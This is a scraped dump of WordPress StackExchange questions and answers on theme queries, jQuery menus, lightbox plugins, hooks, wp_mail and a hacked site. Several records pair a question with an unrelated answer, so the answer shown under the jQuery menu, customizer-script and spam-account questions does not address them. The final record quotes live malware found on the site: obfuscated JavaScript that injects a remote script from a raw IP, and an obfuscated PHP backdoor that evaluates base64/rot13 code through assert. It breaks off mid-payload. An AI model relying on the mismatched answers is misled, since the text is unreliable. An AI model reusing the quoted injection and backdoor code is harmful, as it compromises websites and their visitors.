"https://wordpress.stackexchange.com/users/36773/"
] | I have created a real estate theme, and for each property there is a property listing expiry date after which the property no longer shows on the site. Each property is a custom Properties post type. The code I use to only use live properties is;
```
function live_properties_only( $query ) {
if ( ! is_main_query() ) {
$today = date('Ymd');
$meta_query = array (
'post_type' => 'properties',
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
),
);
$query->set('meta_query',$meta_query);
}
}
add_action( 'pre_get_posts', 'live_properties_only' );
```
This is in the functions.php file, the only problem is that is prevents regular blog posts from showing. How can I resolve this so blog posts show and only un-expired properties also show. | I think you need to check if you are in the `properties` post type archive before to manipulate the query, so it doesn't affect to other archives.
Also, you need to check if the actual `$query` is the main query, so other queries are not affected (the function `is_main_query()` does a different thing; it doesn't check actual query; if you turn DEBUG on, you will get a message in the logs saying you are doing it wrong by using `is_main_query()` in `pre_get_posts` action). Finally, you probably want to exclude the query manipulation in admin side:
```
function live_properties_only( $query ) {
if ( is_post_type_archive( 'properties' ) && ! is_admin() && $query->is_main_query() ) {
$today = date('Ymd');
$meta_query = array (
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
),
);
$query->set('meta_query',$meta_query);
}
}
add_action( 'pre_get_posts', 'live_properties_only' );
```
PD: comparing dates in meta fields should use YYYY-MM-DD format (Y-m-d for PHP `date()` function); then you can set the parameter `'type' => DATE` and you will be doing a date comparison in the way it has been tested; other methods can work but `WP_Query` has not been tested with them (obviously, the meta fields values need to be stored in this format as well):
```
$today = date('Y-m-d');
$meta_query = array (
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
'type' => 'DATE'
),
);
``` |
255,990 | <p>I've successfully managed to add the class 'active' to the current page item using the for each in my template page. </p>
<p>What I want to do is with jQuery (or css3 if anyone has any ideas) get the ul of current li to display if either it is active or on clicking on another div.</p>
<p>Here is the output of my HTML </p>
<pre><code><div id="menu">
<div class="trigger"> show or hide it </div>
<ul class="things">
<li> item 1 </li>
<li class="active"> item 2 </li>
<li> item 3 </li>
</ul>
<div class="trigger"> show or hide it </div>
<ul class="things">
<li> item 4 </li>
<li> item 5 </li>
<li> item 6 </li>
</ul>
</div>
</code></pre>
<p>So what I would like is using jQuery to only show the ul if either the trigger is clicked or if it contains an active li and for both options to be available at the same time. So show it by default it has an active li but also let me hide it by clicking the trigger.</p>
| [
{
"answer_id": 255979,
"author": "mr__culpepper",
"author_id": 108606,
"author_profile": "https://wordpress.stackexchange.com/users/108606",
"pm_score": 0,
"selected": false,
"text": "<p>It seems you are only querying only for posts of the type 'properties.' I'm not 100% sure, but removi... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255990",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/91951/"
] | I've successfully managed to add the class 'active' to the current page item using the for each in my template page.
What I want to do is with jQuery (or css3 if anyone has any ideas) get the ul of current li to display if either it is active or on clicking on another div.
Here is the output of my HTML
```
<div id="menu">
<div class="trigger"> show or hide it </div>
<ul class="things">
<li> item 1 </li>
<li class="active"> item 2 </li>
<li> item 3 </li>
</ul>
<div class="trigger"> show or hide it </div>
<ul class="things">
<li> item 4 </li>
<li> item 5 </li>
<li> item 6 </li>
</ul>
</div>
```
So what I would like is using jQuery to only show the ul if either the trigger is clicked or if it contains an active li and for both options to be available at the same time. So show it by default it has an active li but also let me hide it by clicking the trigger. | I think you need to check if you are in the `properties` post type archive before to manipulate the query, so it doesn't affect to other archives.
Also, you need to check if the actual `$query` is the main query, so other queries are not affected (the function `is_main_query()` does a different thing; it doesn't check actual query; if you turn DEBUG on, you will get a message in the logs saying you are doing it wrong by using `is_main_query()` in `pre_get_posts` action). Finally, you probably want to exclude the query manipulation in admin side:
```
function live_properties_only( $query ) {
if ( is_post_type_archive( 'properties' ) && ! is_admin() && $query->is_main_query() ) {
$today = date('Ymd');
$meta_query = array (
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
),
);
$query->set('meta_query',$meta_query);
}
}
add_action( 'pre_get_posts', 'live_properties_only' );
```
PD: comparing dates in meta fields should use YYYY-MM-DD format (Y-m-d for PHP `date()` function); then you can set the parameter `'type' => DATE` and you will be doing a date comparison in the way it has been tested; other methods can work but `WP_Query` has not been tested with them (obviously, the meta fields values need to be stored in this format as well):
```
$today = date('Y-m-d');
$meta_query = array (
'meta_query' => array(
'key' => 'date_listing_expires',
'compare' => '>',
'value' => $today,
'type' => 'DATE'
),
);
``` |
255,996 | <p>I am using the Simplelightbox plugin (<a href="https://wordpress.org/plugins/simplelightbox/" rel="nofollow noreferrer">Plugin URL</a> or <a href="https://www.andrerinas.de/simplelightbox.html" rel="nofollow noreferrer">Homepage URL</a>) on my site: <a href="http://joshrodg.com/condos/pictures/" rel="nofollow noreferrer">http://joshrodg.com/condos/pictures/</a></p>
<p>On that page I have a picture gallery that is using the Lightbox and then right below the picture gallery, there is a section called Pictures with 5 thumbnails, this section is also using the Lightbox.</p>
<p>There are 14 images in the picture gallery and 5 images in the Picture section (underneath the gallery).</p>
<p>Out of the box, when you click on an image the Lightbox would open, but the total would say 1 of 19, because there are 19 total images using the lightbox plugin on that page.</p>
<p>What I wanted it to do was separate those sections, or have multiple lightboxes. So, 1 of 14 would show when clicking on a gallery image or 1 of 5 would show when clicking on a thumbnail in the pictures section.</p>
<p>I was able to fix this by modifying the following file (because there wasn't a plugin option that would allow me to configure the multiple Lightboxes): <a href="http://joshrodg.com/condos/wp-content/plugins/simplelightbox/resources/js/setup.simplelightbox.js" rel="nofollow noreferrer">http://joshrodg.com/condos/wp-content/plugins/simplelightbox/resources/js/setup.simplelightbox.js</a></p>
<p>The original code (starts at line 35):</p>
<pre><code>if($('a.simplelightbox ').length ) {
var simplelightbox = $("a.simplelightbox").simpleLightbox(options);
}
</code></pre>
<p>The modified code (starts at line 35):</p>
<pre><code>if($('a.simplelightbox ').length ) {
var lightbox1 = $('.gallery a').simpleLightbox();
var lightbox2 = $('#pict a').simpleLightbox();
}
</code></pre>
<p>This fixed the problem, but the next time the plugin has an update, those settings may get wiped away.</p>
<p>Could someone share a function or something that I could use in my template to avoid a possible issue if the plugin was ever updated?</p>
<p>Thanks,<br />
Josh</p>
| [
{
"answer_id": 256001,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": -1,
"selected": false,
"text": "<p>I assume you mean to you want to stop the notifications?</p>\n\n<p>The simplest and easiest way is to change ... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255996",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9820/"
] | I am using the Simplelightbox plugin ([Plugin URL](https://wordpress.org/plugins/simplelightbox/) or [Homepage URL](https://www.andrerinas.de/simplelightbox.html)) on my site: <http://joshrodg.com/condos/pictures/>
On that page I have a picture gallery that is using the Lightbox and then right below the picture gallery, there is a section called Pictures with 5 thumbnails, this section is also using the Lightbox.
There are 14 images in the picture gallery and 5 images in the Picture section (underneath the gallery).
Out of the box, when you click on an image the Lightbox would open, but the total would say 1 of 19, because there are 19 total images using the lightbox plugin on that page.
What I wanted it to do was separate those sections, or have multiple lightboxes. So, 1 of 14 would show when clicking on a gallery image or 1 of 5 would show when clicking on a thumbnail in the pictures section.
I was able to fix this by modifying the following file (because there wasn't a plugin option that would allow me to configure the multiple Lightboxes): <http://joshrodg.com/condos/wp-content/plugins/simplelightbox/resources/js/setup.simplelightbox.js>
The original code (starts at line 35):
```
if($('a.simplelightbox ').length ) {
var simplelightbox = $("a.simplelightbox").simpleLightbox(options);
}
```
The modified code (starts at line 35):
```
if($('a.simplelightbox ').length ) {
var lightbox1 = $('.gallery a').simpleLightbox();
var lightbox2 = $('#pict a').simpleLightbox();
}
```
This fixed the problem, but the next time the plugin has an update, those settings may get wiped away.
Could someone share a function or something that I could use in my template to avoid a possible issue if the plugin was ever updated?
Thanks,
Josh | Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.
```
<?php
/**
* Plugin Name: Stackexchange Sample
* Author: Nathan Johnson
* Licence: GPL2+
* Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html
* Domain Path: /languages
* Text Domain: stackexchange-sample
*/
//* Don't access this file directly
defined( 'ABSPATH' ) or die();
add_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );
function wpse_106269_enqueue_scripts() {
$slb = SimpleLightbox::get_instance();
wp_dequeue_script( 'simplelightbox-call');
wp_deregister_script( 'simplelightbox-call' );
wp_register_script( 'simplelightbox-edit',
plugins_url( '/simplelightbox-edit.js', __FILE__ ),
[ 'jquery', 'simplelightbox' ], false, true);
wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );
wp_enqueue_script( 'simplelightbox-edit' );
}
```
EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script. |
256,009 | <p>I've noticed a random JavaScript function at the end of the source code of my WordPress website. </p>
<pre><code><script type="text/javascript">
(function() {
var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');
request = true;
b[c] = b[c].replace( rcs, ' ' );
// The customizer requires postMessage and CORS (if the site is cross domain)
b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
}());
</script>
</code></pre>
<p>A quick google search lead me to the article below, but I didn't find it very informative. </p>
<p><a href="https://developer.wordpress.org/reference/functions/wp_customize_support_script/" rel="nofollow noreferrer">https://developer.wordpress.org/reference/functions/wp_customize_support_script/</a></p>
<p>Does anyone know what <em>exactly</em> this script does, and if it is required?</p>
| [
{
"answer_id": 256001,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": -1,
"selected": false,
"text": "<p>I assume you mean to you want to stop the notifications?</p>\n\n<p>The simplest and easiest way is to change ... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/256009",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/86794/"
] | I've noticed a random JavaScript function at the end of the source code of my WordPress website.
```
<script type="text/javascript">
(function() {
var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');
request = true;
b[c] = b[c].replace( rcs, ' ' );
// The customizer requires postMessage and CORS (if the site is cross domain)
b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
}());
</script>
```
A quick google search lead me to the article below, but I didn't find it very informative.
<https://developer.wordpress.org/reference/functions/wp_customize_support_script/>
Does anyone know what *exactly* this script does, and if it is required? | Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.
```
<?php
/**
* Plugin Name: Stackexchange Sample
* Author: Nathan Johnson
* Licence: GPL2+
* Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html
* Domain Path: /languages
* Text Domain: stackexchange-sample
*/
//* Don't access this file directly
defined( 'ABSPATH' ) or die();
add_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );
function wpse_106269_enqueue_scripts() {
$slb = SimpleLightbox::get_instance();
wp_dequeue_script( 'simplelightbox-call');
wp_deregister_script( 'simplelightbox-call' );
wp_register_script( 'simplelightbox-edit',
plugins_url( '/simplelightbox-edit.js', __FILE__ ),
[ 'jquery', 'simplelightbox' ], false, true);
wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );
wp_enqueue_script( 'simplelightbox-edit' );
}
```
EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script. |
256,010 | <p>I'm working on a Wordpress Multi-user site (Buddypress?). Every day, there are between 5-15 new accounts created, yet Google Analytics is reporting little-to-no traffic.</p>
<p>The site is far from finished, and I long ago disabled all content-creation features for non-administrators (because as soon as it went live people or bots started creating spam pages).</p>
<p>My question is, how are there new accounts if there are no new visitors? Are these bot accounts and that's why Google Analytics is not reporting them as visitors? I'm perplexed by the whole situation as this is my first attempt at a community site and I don't understand how there are so many new accounts, how people (if they're even people) are finding out about this site that I haven't advertised or promoted at all being in that it's far from finished, and add in the fact that according to Google Analytics there are no new visitors (or less visitors than new accounts created on some days). </p>
<p>Sorry for the run-on sentence but if anyone can help explain to me what is going on with this and what the motive is for whoever or whatever is creating these new accounts I would greatly appreciate it.</p>
<p>Thanks in advance.</p>
| [
{
"answer_id": 256001,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": -1,
"selected": false,
"text": "<p>I assume you mean to you want to stop the notifications?</p>\n\n<p>The simplest and easiest way is to change ... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/256010",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112562/"
] | I'm working on a Wordpress Multi-user site (Buddypress?). Every day, there are between 5-15 new accounts created, yet Google Analytics is reporting little-to-no traffic.
The site is far from finished, and I long ago disabled all content-creation features for non-administrators (because as soon as it went live people or bots started creating spam pages).
My question is, how are there new accounts if there are no new visitors? Are these bot accounts and that's why Google Analytics is not reporting them as visitors? I'm perplexed by the whole situation as this is my first attempt at a community site and I don't understand how there are so many new accounts, how people (if they're even people) are finding out about this site that I haven't advertised or promoted at all being in that it's far from finished, and add in the fact that according to Google Analytics there are no new visitors (or less visitors than new accounts created on some days).
Sorry for the run-on sentence but if anyone can help explain to me what is going on with this and what the motive is for whoever or whatever is creating these new accounts I would greatly appreciate it.
Thanks in advance. | Create a plugin that dequeues the javascript you don't want, and enqueues the edited javascript.
```
<?php
/**
* Plugin Name: Stackexchange Sample
* Author: Nathan Johnson
* Licence: GPL2+
* Licence URI: https://www.gnu.org/licenses/gpl-2.0.en.html
* Domain Path: /languages
* Text Domain: stackexchange-sample
*/
//* Don't access this file directly
defined( 'ABSPATH' ) or die();
add_action( 'wp_enqueue_scripts', 'wpse_106269_enqueue_scripts', 15 );
function wpse_106269_enqueue_scripts() {
$slb = SimpleLightbox::get_instance();
wp_dequeue_script( 'simplelightbox-call');
wp_deregister_script( 'simplelightbox-call' );
wp_register_script( 'simplelightbox-edit',
plugins_url( '/simplelightbox-edit.js', __FILE__ ),
[ 'jquery', 'simplelightbox' ], false, true);
wp_localize_script( 'simplelightbox-edit', 'php_vars', $slb->options );
wp_enqueue_script( 'simplelightbox-edit' );
}
```
EDIT: I just tested the above plugin on a fresh install and it dequeues the 'simplelightbox-call' javascript and enqueues the edited script. |
256,011 | <p>Is there an effective method to find a place where wordpress's hook is declared and when it's activated?</p>
<p>For example:<br>
I know that <code>get_header</code> hook is declared inside <code>wp-includes\general-template.php -- function get_header(...)</code>. When this function is called, the hook is activated.</p>
<p>In this case that was easy but the rest hooks are harder to localize e.g the hooks in admin dashboard.</p>
| [
{
"answer_id": 256017,
"author": "Viktor",
"author_id": 13351,
"author_profile": "https://wordpress.stackexchange.com/users/13351",
"pm_score": 0,
"selected": false,
"text": "<p>You can perform a search on <a href=\"https://developer.wordpress.org/reference\" rel=\"nofollow noreferrer\">... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/256011",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70809/"
] | Is there an effective method to find a place where wordpress's hook is declared and when it's activated?
For example:
I know that `get_header` hook is declared inside `wp-includes\general-template.php -- function get_header(...)`. When this function is called, the hook is activated.
In this case that was easy but the rest hooks are harder to localize e.g the hooks in admin dashboard. | [Here in this page](http://adambrown.info/p/wp_hooks/hook) its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.
you can see a list of hooks and the functions attached to it using:
```
$hook_name = 'wp_head';
global $wp_filter;
var_dump( $wp_filter[$hook_name] );
```
i am using 'wp\_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as `$hook_name` |
256,031 | <p>We have a Directory website <a href="http://prntscr.com/e76vrf" rel="nofollow noreferrer">http://prntscr.com/e76vrf</a> running at LISTABLE Theme. </p>
<ol>
<li><p>Currently, when a User Signs Up and Upload the "Profile Photo", "Cover Photos" there is no provision to adjust the Photo and the wider photos cut off after saving them. So we want to add an image resizer/cropper which can let users to resize or crop the image. I tried to find a plugin this but I was not able to settle on any. Do you know of a code snippet/function or may be a plugin which can do this? Let me know how to integrate the code if it's a code solution. </p></li>
<li><p>Also, How I can dynamically fetch and show the total numbers of listings on the home page <a href="http://prntscr.com/e76u5i" rel="nofollow noreferrer">http://prntscr.com/e76u5i</a> </p></li>
</ol>
<p>Please advise with the most efficient solution. Thanks in advance!</p>
| [
{
"answer_id": 256017,
"author": "Viktor",
"author_id": 13351,
"author_profile": "https://wordpress.stackexchange.com/users/13351",
"pm_score": 0,
"selected": false,
"text": "<p>You can perform a search on <a href=\"https://developer.wordpress.org/reference\" rel=\"nofollow noreferrer\">... | 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/256031",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101240/"
] | We have a Directory website <http://prntscr.com/e76vrf> running at LISTABLE Theme.
1. Currently, when a User Signs Up and Upload the "Profile Photo", "Cover Photos" there is no provision to adjust the Photo and the wider photos cut off after saving them. So we want to add an image resizer/cropper which can let users to resize or crop the image. I tried to find a plugin this but I was not able to settle on any. Do you know of a code snippet/function or may be a plugin which can do this? Let me know how to integrate the code if it's a code solution.
2. Also, How I can dynamically fetch and show the total numbers of listings on the home page <http://prntscr.com/e76u5i>
Please advise with the most efficient solution. Thanks in advance! | [Here in this page](http://adambrown.info/p/wp_hooks/hook) its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.
you can see a list of hooks and the functions attached to it using:
```
$hook_name = 'wp_head';
global $wp_filter;
var_dump( $wp_filter[$hook_name] );
```
i am using 'wp\_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as `$hook_name` |
256,039 | <p>So I have a localhost WordPress server, and the function wp_mail workd perfectly and sends. When I put the exact same file in an actual WordPress website as a theme, it only shows me a blank screen, and doesn't send anything. Code:</p>
<pre><code><?php
if (isset($_POST['submit'])) {
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
$email = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$company = $_POST['company'];
$to = "mail@server.com";
function wpse27856_set_content_type(){
return "text/html";
}
add_filter( 'wp_mail_content_type','wpse27856_set_content_type' );
$msg = '<html><body><h1>Contact Service</h1><table rules="all" style="border-color: #666;" cellpadding="10"><tr style="background: #E3E8EC;"><td><strong>First Name:</strong> </td><td>' . strip_tags($_POST['first_name']) . '</td></tr><tr><td><strong>Last Name:</strong> </td><td>' . strip_tags($_POST['last_name']) . '</td></tr><tr><td><strong>Email:</strong> </td><td>' . strip_tags($_POST['email']) . '</td></tr><tr><td><strong>Company:</strong> </td><td>' . strip_tags($_POST['company']) . '</td></tr><tr><td><strong>Message:</strong> </td><td>' . strip_tags($_POST['message']) . '</td></tr></body></html>';
wp_mail( $to, $subject, $msg );
?>
</code></pre>
<p>This is followed by a form where you input everything. Any help would be appreciated :)</p>
| [
{
"answer_id": 256017,
"author": "Viktor",
"author_id": 13351,
"author_profile": "https://wordpress.stackexchange.com/users/13351",
"pm_score": 0,
"selected": false,
"text": "<p>You can perform a search on <a href=\"https://developer.wordpress.org/reference\" rel=\"nofollow noreferrer\">... | 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256039",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112811/"
] | So I have a localhost WordPress server, and the function wp\_mail workd perfectly and sends. When I put the exact same file in an actual WordPress website as a theme, it only shows me a blank screen, and doesn't send anything. Code:
```
<?php
if (isset($_POST['submit'])) {
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
$email = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$company = $_POST['company'];
$to = "mail@server.com";
function wpse27856_set_content_type(){
return "text/html";
}
add_filter( 'wp_mail_content_type','wpse27856_set_content_type' );
$msg = '<html><body><h1>Contact Service</h1><table rules="all" style="border-color: #666;" cellpadding="10"><tr style="background: #E3E8EC;"><td><strong>First Name:</strong> </td><td>' . strip_tags($_POST['first_name']) . '</td></tr><tr><td><strong>Last Name:</strong> </td><td>' . strip_tags($_POST['last_name']) . '</td></tr><tr><td><strong>Email:</strong> </td><td>' . strip_tags($_POST['email']) . '</td></tr><tr><td><strong>Company:</strong> </td><td>' . strip_tags($_POST['company']) . '</td></tr><tr><td><strong>Message:</strong> </td><td>' . strip_tags($_POST['message']) . '</td></tr></body></html>';
wp_mail( $to, $subject, $msg );
?>
```
This is followed by a form where you input everything. Any help would be appreciated :) | [Here in this page](http://adambrown.info/p/wp_hooks/hook) its the list of all action and filter hooks, just click on one and it will tell you in which file you can find it, a partial view of where is declared, and below are the related hooks.
you can see a list of hooks and the functions attached to it using:
```
$hook_name = 'wp_head';
global $wp_filter;
var_dump( $wp_filter[$hook_name] );
```
i am using 'wp\_head' as an example, but you can use a hook related to the event (you said location) and start digging, for known events you can just do a google search, the common ones will show, and you can use them as `$hook_name` |
256,050 | <p>Today one of our clients' WordPress sites was hacked which is hosted with amazon aws ubuntu.</p>
<p>Issue is <a href="https://blog.sucuri.net/2016/01/jquery-pastebin-replacement.html" rel="nofollow noreferrer">https://blog.sucuri.net/2016/01/jquery-pastebin-replacement.html</a></p>
<p>The js code is injected in all js</p>
<pre><code>var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae85](_0xaae84[_0xaae83](_0xaae80)[_0xaae82]()[_0xaae81](_0xaae80))
</code></pre>
<p>and in <code>index.php</code></p>
<pre><code>//###====###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);
$strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTIlpz9lK3WypT9lqTyhMluSK0SZGPx7DTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvk0paIyXGgNMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFNzWvOyoKO0rFtxnJW2XFxtrlNxnJW2VQ0tWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqBlNtMJAbolNxnJW2B30tMJkmMJyzVPuyoKO0rFtxnJW2XFxtrjccMvNbp3Elp3ElXPEsH0IFIxIFJlWVISEDK0uCH1DvKFjtVwRlAl4jVvxcrlEhLJ1yVQ0tWS9GEIWJEIWoVyASHyMSHy9OEREFVy07sJIfp2I7WT5uoJHtCFNxK1ASHyMSHyfvFSEHHS9VG1AHVy07sDbxqKAypzRtCFOcp3AyqPtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cC3IloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cBvVvBjbxqKWfVQ0tVzu0qUN6Yl9vLKAbp2thpaHiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvHxIAG1ESK0SRESVvKFxhVvMxCFVhqKWfMJ5wo2EyXPEhLJ1yYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv4xqKAypzRhVvMcCGRznQ0vYz1xAFtvBQMxZGL3ZQH4LGyuLwN5LmWxAGMvZmL4MQZlMwOyZTHkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9QG05BEHAHIRyAEH9IIPjtAFx7VTA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9HFH1SG1IHYPN1XGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWTyvqvN9VTA1pzksMKuyLltxL2tcBlEcozMiVQ0tL3IloS9aMKEcozMiXPEwnPx7nJLtXPEcozMiJlWbqUEjK2AiMTHvKFR9ZwNjXKfxnJW2CFVvB30XL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvtuMJ1jqUxbWS9DG1AHJlWjVy0cVPLzVT1xAFugMQHbWS9DG1AHJlWjVy0cXFN9CFNvZ2MvAQqvBTLmZmyvZmuzZ2VkLJR1BGEuMwD0AGN0ZTHvXFO7VROyqzSfXUA0pzyjp2kup2uypltxK1OCH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwfXsFO9"));'); $strings($light);
//###====###
</code></pre>
<p>Steps I follow:</p>
<ol>
<li>I download all js in local (using command zip -r js_files.zip
wp-content -i '*.js') and replace the malicious code using sublime
text and upload this.</li>
<li>delete the index.php malicious code.</li>
<li><p>block the ip address in .htaccess</p>
<pre><code>Order Deny,Allow
Deny from 134.249.116.78
</code></pre></li>
<li><p>Change the permission for the folder and files (using
<a href="http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/hosting-wordpress.html" rel="nofollow noreferrer">http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/hosting-wordpress.html</a>)</p></li>
</ol>
<p><strong>My Question is:</strong></p>
<p>After doing all this, still the code is injected. How I find the back door of the hacker to the site. Please guide me.</p>
| [
{
"answer_id": 256073,
"author": "吉 宁",
"author_id": 105000,
"author_profile": "https://wordpress.stackexchange.com/users/105000",
"pm_score": 2,
"selected": false,
"text": "<p>The backdoor is most likely located in the theme's functions.php file.Look through it and you will find the ans... | 2017/02/11 | [
"https://wordpress.stackexchange.com/questions/256050",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27932/"
] | Today one of our clients' WordPress sites was hacked which is hosted with amazon aws ubuntu.
Issue is <https://blog.sucuri.net/2016/01/jquery-pastebin-replacement.html>
The js code is injected in all js
```
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae85](_0xaae84[_0xaae83](_0xaae80)[_0xaae82]()[_0xaae81](_0xaae80))
```
and in `index.php`
```
//###====###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);
$strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
